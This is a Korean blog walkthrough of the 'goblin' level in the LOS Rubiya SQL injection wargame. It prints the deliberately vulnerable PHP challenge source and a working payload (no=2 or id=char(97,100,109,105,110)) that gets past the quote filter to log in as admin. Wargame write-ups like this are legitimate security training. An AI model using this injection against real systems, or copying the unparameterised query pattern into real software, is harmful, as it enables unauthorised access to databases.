Wargame & CTF/LOS Rubiya
LOS Rubiya goblin
cg10036
2019. 8. 5. 22:39
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?> | cs |
no에 1을 넣어보자. Hello guest가 뜬다.
no에 2를 넣어보자. 아무것도 뜨지 않는다.
id=guest에 no=2인 값이 없다는 것이다.
no=2 or id='admin' 이런 식으로 하면 풀릴것이다.
그런데 문제가 있다. sql에 대입하기 전에 ', ", ` 등을 거른다.
char()를 쓰면 ', ", ` 없이도 문자열을 나타낼 수 있다.
char(97, 100, 109, 105, 110)는 admin이다.
no=2 or id=char(97, 100, 109, 105, 110)
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2 or id=char(97, 100, 109, 105, 110)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | query : select id from prob_goblin where id='guest' and no=2 or id=char(97, 100, 109, 105, 110) Hello admin GOBLIN Clear! <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?> | cs |